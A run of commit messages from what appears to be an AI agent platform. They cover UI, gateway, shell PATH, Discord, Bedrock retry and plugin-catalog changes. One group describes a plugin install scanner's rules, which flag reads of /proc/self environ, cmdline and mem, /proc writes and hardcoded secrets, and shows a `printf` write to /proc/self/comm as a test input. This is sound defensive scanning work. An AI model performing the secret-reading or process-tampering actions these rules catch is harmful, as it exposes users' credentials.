so a new or quiet profile vanished from the sidebar. Profile groups now
also come from the profile list the profile picker reads ($profiles),
added empty under the owner that list was read from (the request
connection, `local` in a Webapp tab, the untagged primary pool natively).
An empty section shows its header, new-chat action and a muted
"No sessions yet" row. Filtered, archived and failed-load views stay as
they were. Shared by the Webapp and native Desktop sidebar.
With several profiles and no chats, projects, threads or jobs anywhere,
the sidebar fell back to the blank state and hid the empty profile
sections the grouping had built. Two or more profile groups now keep the
session area; a lone empty profile still shows the blank state.
test_closing_the_tab_during_a_waiting_paste_detaches_and_keeps_the_shell
[posix-pty-quiet] watched only the bridge's wait for room for the
CancelledError. On a loaded runner the pty's line discipline frees room after
the first wait, so the write resumes; a later full queue sets `stalled`
from the worker thread just before that thread hands back its result, and
_write_while_open cancels the write while it still awaits the thread. The
cancel is real and the shell is detached correctly, but it never passed
through _wait_writable, so `cancelled` stayed unset (main runs 40411213768,
40297653855; both passed on retry).

The fixture now records a CancelledError leaving bridge.write itself; the
wait instrument still proves the paste reached backpressure.

Sabotage (first wait drains the slave and returns, worker sleeps 0.3 s after
each report): base fails both posix params with the CI signature; fixed
passes, including every detach/retention assertion after it.
In the browser-hosted Desktop a URL preview renders in a sandboxed iframe that
no page reader can ever register for, so desktop_preview read answered "The page
has not finished loading — retry in a moment." forever (after an 8 s wait on a
pop-out that cannot exist there). It now answers at once with surface: "iframe"
and a note pointing at web_extract / browser_exec.

read_window_below in a browser tab got an empty answer, which the tool reported
as "the desktop app did not answer". The renderer now answers the documented
{error, platform} shape saying a browser tab cannot see OS windows.

Electron behaviour is unchanged (gated on hostHas capabilities).
The touch tap-focus handlers only looked at the first finger. A second
finger that lands outside the editor never fires touchstart on it, so a
gesture that started with one finger in the editor, added a second
elsewhere, moved the first under 10 px and lifted it while the second
stayed down still counted as a tap and focused the composer (opening the
iPhone keyboard mid-pinch).

touchmove now cancels the tap whenever more than one finger is on the
screen, and touchend does nothing while any finger remains.

Reported by @unsupportedpastels in the review of #145569.
Refs #145166
The existing case ends with a finger still down, so the touchend guard alone kept it green.
Both fingers are now down during the move and the editor finger ends last with no touches
left: removing the touchmove cancellation turns this red. (Greptile P2 on #145838.)
#145598 (8497ce9318) made every login, a loopback Webapp tab's session token
included, act as the host owner's OS subject (uid:<n>), the identity native
Desktop uses. The core-lane spec still expected the old
auth:v1 session-token principal, so 'the gateway serves the Webapp and runs every
turn its browser sends' has been red on main since that merge; the Desktop core
lane is path-gated and did not run on #145598.

Assert the owner subject instead. Locally (real `hermes webapp` gateway +
Chromium + scripted provider): unmodified spec red 2/2 on main 72ffcb9788 with
received ["uid:1000"]; this spec green, whole file 8/8 across 2 repeats.
A catalog entry is data (a pinned sha, a description, a card) reviewed by the maintainer landing it.
Since #131726 /plugin-catalog/ sat in CODEOWNERS, so every entry and re-pin needed a second
hermes-agent-core approval or an admin bypass. Drop that line; the README's tier note now names
maintainer review as the gate.
On a narrow touch viewport the tab strip gives way to CompactTabPicker,
which only offered switch / close-current / +. A session tab's menu
(rename, archive, delete, ...) lived only on the strip's right-click, so a
phone could never archive, delete or rename a session.

Each picker row now carries a 44px "..." button that opens that tab's own
menu: a new PaneChrome.tabActions renders the SAME session verb set the
right-click menu uses (one useSessionTabActions source feeding both
SessionContextMenu and SessionActionsMenu), delete still behind its
confirm dialog. The menu stays mounted after it closes so the rename and
delete dialogs it opened survive. The wide-viewport strip is unchanged.

Fixes #145774
Refs #144648
Refs #145774
Review follow-ups on the phone tab picker:
- A row decides whether it has a menu when the picker opens (PickerRow
  mounts then). The rows used to be built with the picker's last render,
  so the main tab stayed without its menu after it gained a session until
  something else re-rendered the zone.
- The tab menu hangs off an inert anchor, so a plain close (Escape, a
  non-dialog verb) now hands focus back to the picker button; a dialog the
  menu opened keeps it.
- Tests cover the main tab (none on a fresh draft, targets the selected
  session once it has one) and the focus hand-back.

Refs #145774
After a compaction the transcript opens with the handoff followed by a tool
group. When the raw tail budget broke inside that group, the cut was aligned
back onto the group's assistant, leaving a window that held only the handoff.
The handoff scan drops standalone handoff rows, so compress() returned the
empty_post_handoff_window no-op and the session stayed over the trigger with
no warning. Since #144824 priced pre-handoff rows at zero, the whole-transcript
re-cut takes this path routinely.

The progress floor now requires one row the scan keeps: when every row before
the cut is a handoff, the cut moves past the next tool group, unless that
would take the newest row or the active user request out of the tail.

Found on the C4 e2e suite: test_good_summarizer_compacts_and_keeps_every_invariant[11]
failed deterministically since 52a01bd2f2.
When the first post-handoff tool group ends right before the active user
request, the progress floor lands on that request, and _compress_window's
assistant/tool bridge then pulled the cut back onto the group's assistant:
the window held only the handoff and compress() no-oped with
empty_post_handoff_window. The bridge now moves the cut back only down to
tail_cut_progress_floor (one rule); when the floor sits on the active request
the summary merges into that row through the existing merge path.
Outside a served profile, browser-harness binds
<home>/.config/browser-harness/runtime/bu-<BU_NAME>.sock. A deep HOME (a
container's profile home $HERMES_HOME/home, a long account home) or a long
session name pushed that past sun_path and every browser_exec died with
"browser-harness: fatal: AF_UNIX path too long". Only served profiles had a
short-dir fallback.

browser_exec now judges the default socket on the call's final BU_NAME and,
when it would overflow, points BH_RUNTIME_DIR at a private 0700 hbh-<hash>
dir (keyed by uid and harness home): the user's runtime dir
($XDG_RUNTIME_DIR, else /run/user/<uid>) first, the short socket temp root
only where none exists (containers, macOS). A socket that already binds keeps
its path and its live daemon; an exported BH_RUNTIME_DIR/BH_TMP_DIR is kept.
Covers the private XDG runtime dir being chosen (and an open, symlinked,
relative or missing one rejected), the short dir landing 0700 under it,
and an existing short dir claimed only when it is a private real dir.
`hermes update` with a Kanban card in flight sat in "still draining ... waiting on 1 active
work unit(s): managed run" until agent.restart_after_turn_timeout. The restart wait cuts every
socket opened before it (d710b2e346) so its client goes to the next owner. Since c480d67e5f
the worker redials on any transport loss, and connect_gateway attaches to an owner in its
restart wait (that window admits clients so a human can answer a parked prompt, #139041).
The worker re-entered the wait and kept polling prompt.receipt. Every answer refreshed its
silence budget, so the worker never exited, `_watch_submitter` never ended the card's
managed turn, and the drain waited on that turn until its cap.

connect_gateway now refuses an owner in restart wait as `draining`/`restart_wait` inside
`outside_restart_wait()`, and the Kanban worker dials inside it. The worker waits outside the
wait like any other transient owner state. Either the turn finishes and the next owner holds
its receipt, or OWNER_WAIT_S of silence ends the worker, which ends the turn and releases the
restart. Interactive clients still attach to the wait.

Found on CI E2E dispatch (tests/e2e/core/upgrade/handoff/test_handoff_from_head.py).
connect_gateway's restart-wait refusal read the state discovery returned. A restart that began
between discovery and the WebSocket dial still admitted the Kanban worker on its interactive
ticket into the after-turn wait, where each prompt.receipt answer refreshed its silence budget
and held `hermes update` until the forced-restart deadline.

The policy now rides the ticket: inside outside_restart_wait() the session-ticket request carries
`restart_wait: "refuse"`, the ticket store records it on the grant, and GatewayRuntimeAPI decides
admission from the grant at redeem time, so the owner closes the socket (1013) whenever its
restart wait is open by the time the worker connects. Interactive clients still attach (#139041).
An owner older than the client refuses the unknown parameter; the client re-mints without it and
keeps the pre-dial check rather than stranding the worker until that owner restarts.
Debian's /etc/profile unconditionally resets PATH for non-root shells
before sourcing /etc/profile.d/*.sh, so the login-shell env snapshot
serialised the reset PATH and dropped the venv dir the process env put
there (#56634) — bare python3/pip then resolved to the system
interpreter.

The previous approach wrapped the command with a save/restore pair,
but the restore landed after the bootstrap's export -p, so the snapshot
kept the reset PATH anyway. Restore now runs between the init-file
prelude and the command, via idempotent per-entry case guards for
_resolve_hermes_bin_dir() + _managed_runtime_path_entries(), so
restored entries survive into the snapshot and reruns stay
duplicate-free. Tests read the PATH back from a real init_session
snapshot instead of asserting on injected markers.

Rebased onto current main (the branch had gone CONFLICTING).
The terminal tool's env snapshot is captured by `bash -l`, and Debian's
/etc/profile resets PATH for every login shell, so the snapshot pinned the
reset PATH over the spawn env for every later command. In the Docker image
that dropped /opt/hermes/bin and bare `hermes` exited 127 (#56634).

The snapshot bootstrap now re-appends, in parent order, every spawn-env PATH
dir the login shell dropped (not only Hermes' bin dir: the gateway's pm
runtime dirs and `docker run -e PATH=` additions too). They go after the
login PATH, so a command that resolved before resolves to the same binary
and the user's ~/.profile additions keep precedence.

The image also ships /etc/profile.d/hermes.sh, which re-adds the ENV PATH
dirs for login shells the snapshot never covers: the terminal tool's
background `bash -lic`, `docker exec <c> bash -l` and ssh.

Found on Hermes Cloud staging.
Background terminal commands run `bash -lic` with no env snapshot, so a
~/.profile or distro /etc/profile that resets PATH dropped every parent-only
dir (bare `hermes` / the venv's tools: command not found), while the same
command in the foreground now resolved. spawn_local gains an opt-in
restore_login_path that prepends the SAME _append_dropped_path_entries
prelude the foreground snapshot uses, fed from the spawn env's PATH; the
terminal tool's local background spawn turns it on. The registry's shell
argv shape is unchanged.
The login shell read the CI runner's own startup files instead of the
test's ~/.profile, so the profile-first ordering never applied there.
HOME now rides in the spawn env and the child's HOME is asserted, so a
miss names its cause.
Spawns re-derive HOME (a host keeps the real one), so on CI the login
shell read /home/runner's startup files and the test's ~/.profile never
ran. TERMINAL_HOME_MODE=profile makes the child's HOME
{HERMES_HOME}/home on every runner; the .profile lives there.
A CI runner's login shell picks its own HOME and startup files, so a
test-written ~/.profile was never read there (HOME=/home/runner in the
child even with the profile home mode). The stand-in shell resets PATH
itself, then runs the command; spawn env, argv and the restore helper
stay the production ones. Polls with wait_until instead of sleep.
They resolve against the terminal's cwd, so checking them with isdir from
the Python process's cwd dropped a project's 'bin' whenever the two
differed. Only absolute entries are checked for existence now.
Every docs deploy since 2026-10-28 20:08 UTC failed at Deploy to GitHub Pages ('Artifact could not
be deployed ... total size'): the retained-assets pool reached 11 GB and the site artifact 2.95 GB
compressed. The pool exists so open tabs and edge caches can still load the previous build's hashed
chunks; that horizon is hours, so a 2-day window keeps the protection and drops the bulk.
scripts/whatsapp-bridge/*.test.mjs (allowlist, delivery_status,
bridge.native, ...) ran in no workflow: the bridge is a standalone npm
package outside the root workspaces, so run-workspace-checks never sees it.

js-tests.yml now installs the bridge's own lockfile (npm ci
--ignore-scripts; two suites import baileys) and runs
`node --test scripts/whatsapp-bridge/*.test.mjs`. The classifier selects
the frontend lane for scripts/whatsapp-bridge/ and
plugins/platforms/whatsapp/, so a bridge-only or adapter-only PR runs it.
No E2E trigger.
The gateway's timeout notice looked up the Discord-only
`expire_exec_approval` on the adapter's type by name and called it to
strip the card's buttons. That method duplicated `edit_message`'s
channel lookup, formatting and truncation.

Since #145948, every Discord approval card with a request id registers
a settle observer. A card whose request had already ended is retired
right after it is sent. On timeout, the observer's `retire("timeout")`
removes the buttons, so the notice only needs to replace the text.

`_edit_card` now always uses `edit_message`, and
`DiscordAdapter.expire_exec_approval` is gone. A timed-out card
therefore gets one button-removing edit instead of two, and core no
longer probes for a platform method by name.

`edit_message` is the streaming editor: content over the platform's
limit is truncated in place behind a dangling "(1/N)" marker, and the
adapter keeps a saturated-preview entry for it until a final edit that a
card never gets. After the timeout the card's text is the only record of
the command, so the body now gives the command whatever room the
adapter's per-chat limit leaves, measured in the platform's own units
(`max_message_length_for_chat` with `message_len_fn_for_chat`, so
Telegram's UTF-16 count is honoured). `_ea_fit`'s own copy of the
prefix bisection becomes `fit_prefix` in `gateway/platforms/base.py`, a
suffix-adding wrapper over the existing `_custom_unit_to_cp`, shared by
both. A run of three or more backticks in the
command would close the card's fence and let Discord's formatter rewrite
a table after it into a longer bullet list, so such runs are split with
zero-width spaces. The body is built inside `_edit_card`'s guard, so a
failure there still falls back to sending the notice.

The lifecycle test that races the timeout notice against `retire` now
drives the notice through `edit_message`; both orders still end with
the notice text and no controls. A new test drives the real
path, `_post_timeout_notice` → `_edit_card` → Discord's `edit_message`,
with a 5,000-char command, a heredoc holding fenced Markdown tables and
a run of seven backticks: one in-place edit that fills the message
exactly, only the card's own fence, no "(1/" marker, no preview entry,
no new message. Another fills a UTF-16-counting adapter with ASCII and
with emoji, and one whose limit lookup raises still gets the notice as a
new message. Removed the two tests of the deleted method; the two notice tests' fake adapters gain
`max_message_length_for_chat` and `message_len_fn_for_chat`.

Raised by review of #145948. `expire_exec_approval` and the probe came
from 4f86e97791 (Gille, 2026-10-27, #145948).
`ExecApprovalView.retire` repeated `_HermesView._expire_embed`: grey
the first embed, stamp the footer, edit the message. The only
differences were that retire removed the controls (`view=None`) and
logged a failed edit.

`_expire_embed` now takes `keep_controls` (default True, so the other
views' timeouts look the same as before), and retire calls it with
False. A failed stamp is now logged at debug instead of silently dropped, for
every view that stamps through it (approval, slash confirm, update,
clarify; the model and choice pickers have their own timeout edit).

Raised by review of #145948. The copied block came from 39b2158afc
(Gille, 2026-10-27, #145948).
The Discord adapter reads `approvals.discord_prompt_timeout` (default
300). The Discord docs tell users to raise it, but the key was missing
from DEFAULT_CONFIG. `hermes config` never showed it, and migration
never added it.

It is now registered with its 300 s default, next to
`approvals.timeout`. The reader, its clamping and its behaviour are
unchanged. config_defaults.py may not grow, so a three-line comment
that repeated the block comment above (why `timeout` defaults to 300)
is dropped. The approvals key table in the security guide gains a row
for it.

New invariant test: the default appears through `load_config`, and a
value written to the profile's config.yaml reaches both `load_config`
and the Discord views' reader. It fails before this commit.

Raised by review of #145948.
botocore's default retry policy (legacy mode, 5 total attempts) re-sent a
Converse/ConverseStream read timeout, so a hung call surfaced after ~5x the
configured request timeout (5x botocore's 60s default when unset), and
throttles were retried under Hermes's own adaptive rate-limit backoff.

The bedrock-runtime client now makes one attempt per call
(retries.total_max_attempts=1; botocore's max_attempts counts retries, not
attempts). Hermes's retry loop already classifies ReadTimeoutError as a
retryable timeout and ThrottlingException as rate_limit with backoff; the
AnthropicBedrock client already runs with max_retries=0.
Greptile "Auxiliary calls lose retries": with botocore's retries off, the aux
recovery ladder only read HTTP status from exception attributes, so a botocore
ClientError (status in response["ResponseMetadata"], code in response["Error"])
skipped the same-provider retry on a 503 and missed rate-limit handling on a
ThrottlingException. _exc_http_status now reads botocore response metadata and
_is_rate_limit_error matches ThrottlingException, matching how the ladder already
owns retries for OpenAI-SDK clients (max_retries=0).

The status-shape helpers move to agent/auxiliary_error_shapes.py to keep the
auxiliary_client facade under its line cap.
Review finding: an auxiliary Bedrock ThrottlingException skipped every backoff and reached a
single immediate retry in the credential rung, so a throttle lasting ~300ms failed the task once
botocore stopped retrying (2nd request ~5-18ms after the first; main waited ~400ms).

The credential rung's same-key retry for a rate limit (every provider: aux SDK clients make one
attempt) now waits first: the provider's Retry-After (including the header botocore keeps in
ResponseMetadata.HTTPHeaders) up to 5s, else a jittered 1-1.5s backoff; a longer declared
cooldown goes straight to rotation/fallback. The ladder yields a `wait` step that both the sync
and async ladder drivers sleep. The single-attempt botocore policy is unchanged.
A model that answers and then closes the same message with a marker line
("Here is the answer.\n\nNO_REPLY") had the marker delivered as text: the
silence filters only match a response that is exactly a marker. Strip a
marker on the reply's last line at every delivery door (final send, stream
previews and final edit, crash-left replay, Bot Mode relays). A bare marker
still goes through the silence verdict, a marker inside a line is prose, and
stored history keeps the model's text.
Non-streamed final send and streamed previews/final edit; both red on main.
Greptile "Saved replies lose their identity": the persisted_turn receipt
compared the marker-stripped delivered text against the stored assistant
row (which keeps the marker), so final_assistant_row_id was lost. Compute
the receipt from the turn text as written; strip only the delivered copy.
Greptile "Long replies still show markers": at stream end the overflow
split ran on the raw buffer, so a reply just under the limit split right
before its closing NO_REPLY and the bare remainder went out as its own
message. Drop the closing marker from the display buffer before any split
(seal-overflow and first-send paths); the transcript keeps it.
Review finding (P2): the Bot Chat stream callback only held back a reply whose
WHOLE buffer could still become a marker, so "Paris.\n\nNO_REPLY" streamed
'\n\nNO', '_RE', 'PLY' to message.delta and the TTS queue before the final
filter dropped it.

SilenceMarkerStreamHold (gateway/response_filters.py) gates deltas with the
same predicates the gateway stream consumer uses (is_partial_silence_marker /
ends_with_partial_silence_marker): it holds a last line that could still
become a marker, releases it once it diverges, and at turn end releases what
the completed reply delivers, so "NO problem" / "NOTE: done" / a bare final
"NO" still arrive in full. Deltas and TTS share one emit path.
Removes 15 optional skills:
- huggingface-hub, trl-fine-tuning: Hugging Face's own hf-cli,
  trl-training and huggingface-llm-trainer skills ship through the
  default huggingface/skills tap, and the Hugging Face MCP is in the
  MCP catalog.
- whisper, stable-diffusion, llava, clip, audiocraft: core already
  covers them (local faster-whisper STT, image_generate, vision_analyze,
  the official ElevenLabs music and sound-effects plugins).
- pinecone, pinecone-research, qdrant, weights-and-biases: each vendor
  maintains its own skills repo; wandb/skills, qdrant/skills and
  pinecone-io/skills become default, trusted taps so the topic still
  shows up in `hermes skills browse`.
- guidance, outlines, instructor, huggingface-tokenizers: library
  cheat-sheets untouched since import; provider APIs do structured
  output natively and models write this code unaided.
These stop loading by default and become one
`hermes skills install official/<category>/<name>` away:
notion, airtable, box (hosted connectors cover them for Portal users),
opencode, design-md, gif-search, songsee, llm-wiki,
hermes-agent-skill-authoring, inspecting-hermes-desktop-dom,
node-inspect-debugger and python-debugpy.

Existing installs keep their copies: the skills sync already re-labels
a byte-identical copy of a moved built-in as an official optional
install. Onboarding first tasks drop the two skills that are no longer
bundled (llm-wiki, design-md), claude-design and popular-web-designs
point at design-md as an optional install, and doc examples use
skills that still ship.
One built-in skill now covers Word, PowerPoint and Excel: SKILL.md
holds the shared documents-environment block, PDF export and the
cross-format pitfalls once, and routes to references/word.md,
references/powerpoint.md and references/excel.md for each format's
flags, procedure and traps. The scripts and their tests move unchanged
into one scripts/ and tests/ directory (62 tests pass). Every skill,
doc and tool message that named the old three now names
microsoft-office.
Output of website/scripts/generate-skill-docs.py and
scripts/ci/prompt_surface.py render after the skill moves. The default
skills index loses 15 lines (14 skills leave the built-in set, three
become microsoft-office).
extract-skills.py now labels wandb/skills, qdrant/skills and
pinecone-io/skills entries by vendor; without matching SOURCE_CONFIG /
SOURCE_ORDER rows their cards showed "Optional" and the source filter
skipped them.
The plugin catalog renders cards from the live /api/plugins.json, but the client route table is
baked into the page's bundle, and the edge serves /docs/plugins from an older build between
releases. Clicking an entry added since then ran a router navigation to a path the bundle did not
know and rendered 'Page Not Found', although the server has the page (elevenlabs-music today).
Card clicks, title/'Plugin page' links and the featured hero now navigate in-app only when the
bundle has the route; otherwise they do a normal page load the server answers.
Flattening bakes only the fields passed to pypdf, and every widget is
removed afterwards, so a prefilled field missing from the values JSON
vanished from the page. Pass every field with its current value when
flattening, with the JSON values on top.

Reported by @yuzilongleif-collab on #82724.
The salvaged whole-axis handling pushed main() past its complexity cap;
two self-contained steps become helpers, behaviour unchanged.
- docx_read: walk a cell's paragraphs and nested tables in document
  order (iter_inner_content), so text after a nested table no longer
  jumps ahead of it.
- xlsx_restructure: copy innermost [...] groups through unrewritten like
  string literals, so a structured reference such as Table1[[B:C]] is not
  mistaken for whole-column B:C by the new whole-axis patterns.
Self-hosted Tailscale control plane (Headscale) plugin: status/nodes/preauth
tools over local gRPC, desktop dashboard pane, FastAPI backend. Bundled
Headscale v0.29.6 protobuf stubs. API key via Hermes secret scope.
Validate --install-deps passes at the pinned SHA (security scan: safe).
Signed-off-by: lEWFkRAD <SJWATTS89@OUTLOOK.COM>
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Pins the released 1.7.3 commit: controls that match the bundled plugin (the SDK composer,
the segmented track, counts inside the labels, the SDK button sizes) and a title prefix that
is styled rather than deleted.
- optional-mcps/runa: Runa's hosted, read-only MCP server
  (https://mcp.joinruna.com/mcp, Streamable HTTP, OAuth 2.1 with CIMD
  and DCR).
- plugin-catalog/runa: the Runa portable plugin (plugin.json, mcp.json,
  four skills) pinned at Runa-Labs-Inc/runa-hermes-plugin@fd663db5.
Nexus 0.22.33 makes the agent registry module load on Windows: fcntl and msvcrt
are optional, the registry lock uses flock on POSIX and msvcrt.locking on
Windows. Before this release `import fcntl` at module scope made
nexus_memory.agent_detect unimportable on Windows, which took the setup flow and
the whole test suite down there; both import it directly.

Checked on a real Windows 11 host: the 0.22.32 revision raises
ModuleNotFoundError: No module named 'fcntl', the 0.22.33 revision imports,
registers an agent into the registry, and a second process waited 1.71 s for a
2.0 s hold by the first. The macOS suite stays green (2481 passed, 4 skipped),
and the new tests/test_agent_detect_windows_import.py covers the import without
fcntl, the Windows branch against a recording fake, and the no-lock fallback.
The plugin repo moved from arspesk to the apelabs-dev org. repo, docs_url and the image/screenshot URLs now use the new home; the pinned sha is unchanged.
Lists smol-machines/hermes-smolmachines, a terminal backend that runs the
terminal, file and code tools in a local smol machine (a microVM).
Moves the listing pin to tag v1.4.2 (84646823). Entry text is the
review-approved revision from #141665 (catalog-only, hooks mirror at the
tag); review points 2-3 remain open at this tag - see PR body.
Pin the Desktop and dashboard account manager at v0.1.7.

Signed-off-by: Luis Cedillo Maldonado <luisced@users.noreply.github.com>
Move the composio-connections pin to the commit that includes the web dashboard gallery.

Signed-off-by: Luis Cedillo Maldonado <luisced@users.noreply.github.com>
Hosted MCP connector packaged as an Agent Plugins v1 plugin
(plugin.json + mcp.json + skills/), configuration only.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01UBNdX6tububqjPpL9Sq8o9
Pins the skill update that lists find_leads' real filters, found while
testing the plugin end to end in Hermes on macOS.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01UBNdX6tububqjPpL9Sq8o9
Memory provider with keyed corrections you can undo. A correction retires the old
value by key so it stops being recalled, and inspeximus_revert restores it from the
key alone.

Pinned at DanceNitra/inspeximus 2a4141cf, subdir integrations/hermes-plugin-inspeximus.
`hermes plugins validate --install-deps` passes all 13 checks at that commit, security
scan included.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
0.9.2 vendors the English spaCy pipeline, so entity extraction works at
plugin install with no download step. Bump version and both sha pins.
The monorepo's head adds a Windows CI matrix that runs every plugin's suite,
and fixes the windows-ops packaged-payload scan so it no longer counts the
bytecode the test run itself writes.

No plugin behaviour changed: the only files touched between the two pins are
the workflow and one test file.
Two read-only tools over Task Scheduler: a listing with state, principal,
action, triggers, last and next run and the meaning of the last result code,
and a detail view of one task from its exported definition. Reads through the
ScheduledTasks cmdlets because the store on disk needs elevation and
schtasks /Query /FO CSV is localized and interleaves error lines.
The monorepo's front page now carries the ninth plugin in its table; both
commits hold the same plugin, so this only moves the pin to the commit a reader
of that page will be looking at.
Carries the empty-read fix over 0.4.1: a read that returns nothing (the host
reports a rate limit and a missing credential the same way) no longer replaces
the provider's record, so the last good snapshot survives with a backoff and
the exhaustion interlock keeps applying to it.
Adds the borrow setting over 0.4.2 and discloses it: with hydrate_from_paths
set, the guard may read the JSON snapshots the user names instead of reading the
endpoint, validating every window and never writing them into its own cache.
Adds the opt-in assume_inflated_sources over 0.4.3 and updates the Anthropic
caveat to name it.
Removes the opt-in that could not be made safe and states the limitation
plainly: an ambiguous 100 refuses, a false refusal is expected while a window
sits at or under 1%, and the fix is upstream.
Co-Authored-By: Hermes Agent <hermes@localhost>
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Signed-off-by: crwvrosenblum <crosenblum@coreweave.com>
Signed-off-by: crwvrosenblum <crosenblum@coreweave.com>
Signed-off-by: crwvrosenblum <crosenblum@coreweave.com>
Pin moves 84285c6 -> c461331 (one upstream commit): the bundled astrology
skill gains the kp_chart and yogas tools, and the docs say 18 tools.
Configuration and docs only; mcp.json is unchanged.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Pin moves c461331 -> 3346c5a (one upstream commit, docs and skill only):
plugin.json 1.3.0, the astrology skill 1.3.0 with a link to the NASA/JPL
Horizons accuracy benchmark, and README/after-install/llms-install naming
kp_chart and yogas. mcp.json unchanged.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Re-pins GottZ/ctx from 98749f3 (v5.26.1, plugin 0.4.4) to ee8cb2e (v5.27.0, plugin 0.5.0). 0.5.0 adds setup through the memory-provider setup surfaces (get_config_schema/save_config for the Desktop and Dashboard form, post_setup for `hermes memory setup ctx_checkpoint`), warns when compression.threshold reaches the gateway hygiene trigger, and fixes is_available() treating a missing mcp_servers entry as available. Description and disclosure updated for the setup writes.
Security update: connector setup offers only vendor-verified, version-pinned packages.
Pins neels-plugins cd179c5c5f80c38f1ddcfb46ff3048796c45ff8f (3.57.3); only sha, docs_url and version change.

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
Pins neels-plugins d9b9db6df5c4b082db957355e186f50de35e0f8f (3.57.5); only sha, docs_url and version change.

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
Pins neels-plugins e5027588349df96f0f6f73e37353ac064df145c1 (3.57.8); only sha, docs_url and version change.

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Both Discord presence bars draw ten cells by default now, configurable from 3
to 20 with discord_bar_width, and the listed edition picks up the 1.6.4
credential work that had no release of its own.
Pin mojomast/comfyrizz-hermes at the v0.1.0 commit so Hermes installs the reviewed tree.
Adds the Perf HUD plugin (v1.0.0, pinned to
bb97f8f73175a22b75f21204cf9fd4394f18077b): a status-bar chip with
core-compatible TPS and a statistics popover with TTFT, LLM calls,
tokens, cache hit rate, tool time, session duration and optional local
history. Observer hooks only; no core changes, no network requests, no
stored content.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
DashScope (Qwen AI Platform) speech-to-text provider, pinned to
lgc2333/hermes-plugin-transcription-dashscope at fe83a51 (v0.1.0).
Adds a catalog entry for the standalone Modular Cloud model-provider
plugin (tommyjtl/hermes-modular-provider), pinned to its release commit,
and maps the commit email to its GitHub login.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
The plugin now serves DeepSeek V4.1 Flash under its new id,
deepseek/deepseek-v4.1-flash-1017.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
build_model_options_payload() spawns a daemon account-usage refresh that sends the
case's ChatGPT JWT through httpx.Client after the test returns; under CI load it
landed inside test_image_request_goes_to_the_pool_entry_gateway's patched client and
added chatgpt.com to its recorder. Stub the refresh like the other unrelated metadata
sources and assert no background worker attempts HTTP.
Container CPU-quota detection needs the process's cgroup membership and mount layout, and language runtimes read them for container resource discovery. proc_access flagged the plain reads as high, so a plugin that sizes local work inside a container scanned CAUTION and unattended updates stopped (#144123).

Drop the finding only when every /proc path on the (logical) line is one of those two reads: a write, any other proc path or a bare /proc/self keeps it. Scanner version bumped so quarantined pins are re-scanned.

(cherry picked from commit 481c5ca3bfa9c4c68547144b141a2f2acd8afc48)
Install scanner (tools/plugin_guard*, PLUGIN_SCANNER_VERSION bumped once):
- hardcoded_secret: a PostHog project key (phc_, write-only ingest key) joins the
  Google installed-app secret as a public client key -> high (caution), only
  when every matched literal on the line has a public prefix (telesec
  telemetry.py:27 was dangerous). phx_ personal keys and any other token stay
  critical.
- proc_access: reads of /proc/self|<pid>/{cgroup,mountinfo,stat,status,...}
  (container placement, pid start time) land at low instead of high
  (hermes-lcm-x cpu_capacity.py was caution). environ, cmdline, mem, maps, fd,
  root/cwd, ns, bare /proc/self, any unlisted leaf and any write keep high.
  Generalises #144304's cgroup/mountinfo allowance and keeps the finding
  visible instead of dropping it.
- bytecode_file: a committed .pyc/.pyo (git ls-files; plus any bytecode outside
  __pycache__) is a high structural finding, the binary_file tier (rule 17;
  hermes-emotion shipped tests/__pycache__/*.pyc and scanned safe). Untracked
  caches the validate run writes are not flagged.

Validator (hermes plugins validate, warnings only):
- private imports: gateway.session_context.get_session_env is the documented
  route (plugins/index.md) and a plugin's fallback import of its own install
  path (plugins.memory.openltm._db) is not a core import.
- new warning for private-method calls on core handles (SessionDB, AIAgent,
  GatewayRunner, PluginContext) the plugin does not define itself
  (opencode-sync db._execute_write, runner._evict_cached_agent).
- desktop surface review warning for raw window.hermesDesktop calls and app
  markup selectors ([data-slot], [data-tree-*], [data-pane-host]) in CSS text
  or closest() (squad-hub, novel-reader, search-sources).
Independent review: the open(...)[wax+] branch of the /proc write check went quadratic on long
lines with many open( and no ). Bound the argument scan to 300 chars, require a quoted mode, and
treat r+/rb+ and os.open O_WRONLY/O_RDWR as writes. The bytecode ls-files call no longer passes a
raw os.environ copy (spawn-env guard).
Greptile on #146352: `printf x > "/proc/self/comm"` slipped past the write check because the
redirect form required an unquoted path, and `from plugins.memory.<name> import _db` still warned
because only the module part was matched against the plugin's own files. Both now covered, with
attack/false-positive twins red on the previous head.
GatewayClient.rpc let websockets' ConnectionClosedError escape from send():
after a keepalive ping timeout the dock's subagent.list poll raised it past
callers that catch GatewayClientError, and the bare spinner loop died with it,
leaving the spinner and live-work dock frozen for the rest of the session.

rpc now reports a failed send as the same unknown-outcome GatewayClientError a
lost answer already gets, and the monitor tick skips a beat on a failure
instead of ending the thread that runs it.

(cherry picked from commit ea136305ac597dcd62bc569426321d9d601034aa)
(cherry picked from commit cedb79f9a691f9ef9b8f3d9c04fdfefb63d9fb94)
(cherry picked from commit f5c1b54199dc02e9654a6d11ba6ee5e0e2a84cc4)
The salvaged fix added a second copy of the "turn outcome is unknown" text in
gateway_client next to gateway_connection's DISCONNECTED. Keep the one
definition in gateway_client (the lower module) and import it into
gateway_connection, so the send-side, read-side and connection-loss errors
cannot drift apart.
When the keepalive times out, the socket closes and GatewayClient's reader
ends before the dock's next poll. websockets refuses any later send on that
socket without writing it, so the frame never leaves. GatewayClient.rpc now
raises NOT_SENT once the reader has ended, instead of DISCONNECTED ("turn
outcome is unknown; do not resend"). A prompt.submit that hits this path
tells the user nothing was sent, so they know to send it again. A send that
fails while the reader is still alive stays DISCONNECTED, because the frame
may already have left.

NOT_SENT moves next to DISCONNECTED in gateway_client; gateway_connection
imports it, so gateway_queue's `str(exc) == NOT_SENT` check is unchanged.
